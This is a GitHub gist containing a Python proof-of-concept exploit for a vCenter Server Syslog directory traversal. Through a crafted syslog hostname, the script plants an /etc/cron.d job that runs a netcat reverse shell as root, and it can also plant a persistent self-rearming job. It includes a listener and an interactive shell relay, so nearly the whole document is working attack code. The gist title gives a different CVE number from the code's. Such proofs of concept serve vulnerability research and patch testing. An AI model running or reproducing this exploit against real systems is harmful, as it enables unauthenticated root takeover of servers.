Last active
October 20, 2026 06:15
-
-
Save scaery/40cf37bf5aafdeb5656fb65ed71c417e to your computer and use it in GitHub Desktop.
CVE.2026-59319
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Proof of concept: CVE-2026-59310 | |
| ================================ | |
| VMware vCenter Server Syslog service - directory traversal in per-host log | |
| file path (VMSA-2026-0006, CVSS 9.8). Unauthenticated remote code execution | |
| as root via a planted /etc/cron.d entry. | |
| Verified against VCSA 8.0.3.00200 (build 24262322). | |
| Usage | |
| ----- | |
| python3 cve-2026-59310-poc.py <TARGET-IP> \\ | |
| --lhost <LISTENER-IP> --lport <LPORT> --udp --shell | |
| `--shell` (alias: `--listen`) opens the connect-back listener locally and | |
| relays an interactive root shell once cron fires (within ~60 s). | |
| `--proof` runs a canned id/uname sequence and exits. The default cron | |
| command is a one-shot that removes the planted file after firing; | |
| `--persist` plants a self-rearming job instead. | |
| """ | |
| import argparse | |
| import random | |
| import select | |
| import socket | |
| import string | |
| import sys | |
| import time | |
| # Traversal prefix applied to the cron file name. Four levels climb from | |
| # /var/log/vmware/esx/ back to / so the planted file lands in /etc/cron.d/. | |
| TRAVERSAL_PREFIX = "../../../../etc/cron.d/" | |
| # RFC5424 PRI for local0.info (facility 16 * 8 + severity 6). | |
| SYSLOG_PRI = 134 | |
| # Fixed fabricated timestamp, mirroring the in-the-wild artefacts. | |
| FAKE_TIMESTAMP = "2026-01-01T00:00:00Z" | |
| def random_cron_name(length=6): | |
| alphabet = string.ascii_lowercase + string.digits | |
| return "zz-" + "".join(random.choices(alphabet, k=length)) | |
| def build_cron_command(args): | |
| if args.cmd: | |
| command = args.cmd | |
| elif args.persist: | |
| command = (f"sh -c 'pidof nc >/dev/null 2>&1 || " | |
| f"nohup nc {args.lhost} {args.lport} -esh " | |
| f">/dev/null 2>&1 &'") | |
| else: | |
| command = (f"rm -f /etc/cron.d/{args.name}-syslog.log; " | |
| f"rm -rf /etc/cron.d/{args.name}; " | |
| f"nc {args.lhost} {args.lport} -esh") | |
| if "%" in command: | |
| raise SystemExit("[-] cron command must not contain '%' " | |
| "(crontab treats it as a line break)") | |
| return command | |
| def build_syslog_message(cron_name, cron_command): | |
| hostname = TRAVERSAL_PREFIX + cron_name | |
| return (f"<{SYSLOG_PRI}>1 {FAKE_TIMESTAMP} {hostname} poc 1 - - x\n" | |
| f"* * * * * root {cron_command}") | |
| def build_syslog_frame(message): | |
| payload = message.encode() | |
| return str(len(payload)).encode() + b" " + payload | |
| def send_message(host, port, message, udp=False): | |
| if udp: | |
| with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: | |
| sock.sendto(message.encode(), (host, port)) | |
| else: | |
| frame = build_syslog_frame(message) | |
| with socket.create_connection((host, port), timeout=10) as conn: | |
| conn.sendall(frame) | |
| def open_listener(port): | |
| listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
| listener.bind(("0.0.0.0", port)) | |
| listener.listen(4) | |
| listener.setblocking(False) | |
| return listener | |
| def await_connection(listener, timeout): | |
| deadline = time.time() + timeout | |
| while time.time() < deadline: | |
| ready, _, _ = select.select([listener], [], [], | |
| max(0.0, deadline - time.time())) | |
| if ready: | |
| return listener.accept()[0] | |
| return None | |
| def run_proof(conn): | |
| """Print identifying output from the compromised host, then exit.""" | |
| conn.settimeout(15) | |
| conn.sendall(b"id; hostname; uname -a; cat /etc/photon-release; " | |
| b"echo PROOF_DONE; exit\n") | |
| output = b"" | |
| try: | |
| while b"PROOF_DONE" not in output: | |
| chunk = conn.recv(4096) | |
| if not chunk: | |
| break | |
| output += chunk | |
| except OSError: | |
| pass | |
| print("[+] PWNED - proof output from the target shell:") | |
| print(output.decode(errors="replace")) | |
| conn.close() | |
| def interactive_relay(conn): | |
| import os | |
| conn.setblocking(False) | |
| print("[+] interactive relay (ctrl-C to exit)") | |
| stdin_fd = sys.stdin.fileno() | |
| os.set_blocking(stdin_fd, False) | |
| try: | |
| while True: | |
| ready, _, _ = select.select([conn, stdin_fd], [], [], 1) | |
| if conn in ready: | |
| data = conn.recv(4096) | |
| if not data: | |
| break | |
| os.write(1, data) | |
| if stdin_fd in ready: | |
| data = os.read(stdin_fd, 4096) | |
| if not data: | |
| break | |
| conn.sendall(data) | |
| except (KeyboardInterrupt, OSError): | |
| pass | |
| def parse_args(): | |
| parser = argparse.ArgumentParser( | |
| description="CVE-2026-59310 vCenter Syslog directory traversal -> " | |
| "cron.d -> pre-auth root RCE (proof of concept)") | |
| parser.add_argument("host") | |
| parser.add_argument("-p", "--port", type=int, default=514, | |
| help="syslog port (default 514; 1514 is TLS and " | |
| "not needed - plain 514 accepts the same " | |
| "messages over both TCP and UDP)") | |
| parser.add_argument("--udp", action="store_true", | |
| help="deliver the message over UDP/514 (raw " | |
| "RFC5426 datagram) instead of the default " | |
| "TCP octet-counted framing") | |
| parser.add_argument("--name", default=None, | |
| help="base name of the planted cron file (default: " | |
| "a fresh random zz-xxxxxx per run - re-using a " | |
| "deleted name hits rsyslog's dynafile cache and " | |
| "no file appears)") | |
| parser.add_argument("--lhost", default="192.168.x.x", | |
| help="local address for the connect-back") | |
| parser.add_argument("--lport", type=int, default=8888, | |
| help="local port for the connect-back") | |
| parser.add_argument("--cmd", default=None, | |
| help="override the cron command entirely (advanced)") | |
| parser.add_argument("--persist", action="store_true", | |
| help="plant a self-rearming job (reconnects every " | |
| "minute) instead of the default one-shot " | |
| "self-cleaning job; clean up from the shell " | |
| "with: rm -f /etc/cron.d/<name>-syslog.log; " | |
| "rm -rf /etc/cron.d/<name>") | |
| parser.add_argument("--listen", "--shell", dest="listen", | |
| action="store_true", | |
| help="listen on --lport for the connect-back and " | |
| "drop into the interactive shell relay") | |
| parser.add_argument("--proof", action="store_true", | |
| help="run the id/hostname/uname proof sequence and " | |
| "exit instead of the interactive relay") | |
| parser.add_argument("--timeout", type=int, default=100, | |
| help="seconds to wait for the cron-fired " | |
| "connect-back (default 100; cron fires at the " | |
| "next minute mark)") | |
| parser.add_argument("--dry-run", action="store_true", | |
| help="only print the message/frame that would be " | |
| "sent, without transmitting") | |
| args = parser.parse_args() | |
| if args.name is None: | |
| args.name = random_cron_name() | |
| return args | |
| def main(): | |
| args = parse_args() | |
| cron_command = build_cron_command(args) | |
| message = build_syslog_message(args.name, cron_command) | |
| transport = "UDP" if args.udp else "TCP" | |
| print("[*] CVE-2026-59310 - vCenter Syslog traversal -> cron.d -> root") | |
| print(f"[*] target {args.host}:{args.port} ({transport})") | |
| print(f"[*] cron line: * * * * * root {cron_command}") | |
| if args.dry_run: | |
| if args.udp: | |
| print(f"[*] UDP datagram ({len(message.encode())} bytes): " | |
| f"{message.encode()!r}") | |
| else: | |
| frame = build_syslog_frame(message) | |
| print(f"[*] TCP frame ({len(frame)} bytes): {frame!r}") | |
| return | |
| listener = None | |
| if args.listen or args.proof: | |
| listener = open_listener(args.lport) | |
| print(f"[*] listening on 0.0.0.0:{args.lport} for the connect-back") | |
| send_message(args.host, args.port, message, udp=args.udp) | |
| print(f"[+] malicious syslog message delivered to " | |
| f"{args.host}:{args.port} over {transport}") | |
| print(f"[*] crond picks up /etc/cron.d entries at the next minute mark " | |
| f"- waiting up to {args.timeout}s") | |
| if listener is None: | |
| return | |
| conn = await_connection(listener, args.timeout) | |
| if conn is None: | |
| print("[-] no connect-back within the window. The cron job may " | |
| "fire late (queueing) - re-run, or check on the box: " | |
| f"ls -la /etc/cron.d/ | grep {args.name}") | |
| return | |
| print(f"[+] CONNECT-BACK from {conn.getpeername()} (root on the VCSA)") | |
| if args.proof: | |
| run_proof(conn) | |
| else: | |
| interactive_relay(conn) | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment